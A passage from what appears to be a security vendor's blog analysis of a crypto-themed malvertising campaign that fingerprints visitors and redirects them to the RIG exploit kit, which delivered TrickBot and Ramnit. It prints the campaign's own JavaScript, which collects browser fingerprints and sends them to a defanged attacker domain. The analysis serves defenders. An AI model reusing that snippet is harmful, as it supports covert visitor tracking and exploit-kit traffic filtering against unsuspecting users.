Those sites, whose theme is about cryptocurrencies, were all registered recently and are swapped after a few days of use.<\/p>\n<p>The initial redirection starts off from a malvertising redirect, which loads the decoy page containing a third-party JavaScript. The JavaScript appears to be conditionally loaded based on the visitor&#8217;s user agent and geolocation.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-21924 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/fingerprinting_call.png\" alt=\"\" width=\"722\" height=\"669\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/fingerprinting_call.png 722w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/fingerprinting_call-300x278.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/fingerprinting_call-600x556.png 600w\" sizes=\"auto, (max-width: 722px) 100vw, 722px\" \/><\/p>\n<p>That JavaScript contains many different ways to fingerprint users and determine whether they are legitimate or not by validating some checks:<\/p>\n<ul>\n<li>getHasLiedLanguages<\/li>\n<li>getHasLiedResolution<\/li>\n<li>getHasLiedOS<\/li>\n<li>getHasLiedBrowser<\/li>\n<\/ul>\n<p>The results are then sent back to the server with the following code snippet:<\/p>\n<pre>\/\/botDetect.onUser(function () {  var fp = new Fingerprint2();  fp.get(function(result, components) {   var head = document.head || document.getElementsByTagName('head')[0];   var script = document.createElement('script');   script.type = 'text\/javascript';   script.src = 'http:\/\/binaryrobotplus[.]top\/rrr\/' + result;   head.appendChild(script);   iframePost('http:\/\/binaryrobotplus[.]top\/logs\/fff', {   fingerprintjs: JSON.stringify(components)   });<\/pre>\n<p>The final step consists of a response with a blurb containing an iframe to RIG EK:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-21925 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/iframe_RIG.png\" alt=\"\" width=\"789\" height=\"132\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/iframe_RIG.png 789w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/iframe_RIG-300x50.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/iframe_RIG-600x100.png 600w\" sizes=\"auto, (max-width: 789px) 100vw, 789px\" \/><\/p>\n<h3>Elusive campaign<\/h3>\n<p>So far, we have not collected many hits via this campaign.

The redirection mechanism is identical from infection to infection, and so far we have collected only two kinds of payloads: TrickBot and Ramnit.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/traffic.png\" data-rel=\"lightbox-0\" title=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-21926 aligncenter\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/traffic.png\" alt=\"\" width=\"732\" height=\"323\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/traffic.png 732w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/traffic-300x132.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/traffic-600x265.png 600w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2018\/02\/traffic-195x85.png 195w\" sizes=\"auto, (max-width: 732px) 100vw, 732px\" \/><\/a><\/p>\n<p>Other researchers, such as <a href=\"https:\/\/twitter.com\/baberpervez2\/status\/968849891442282501\" target=\"_blank\" rel=\"noopener\">Baber Pervez<\/a>, have caught this redirection chain as well, which recently slightly changed its URI pattern.
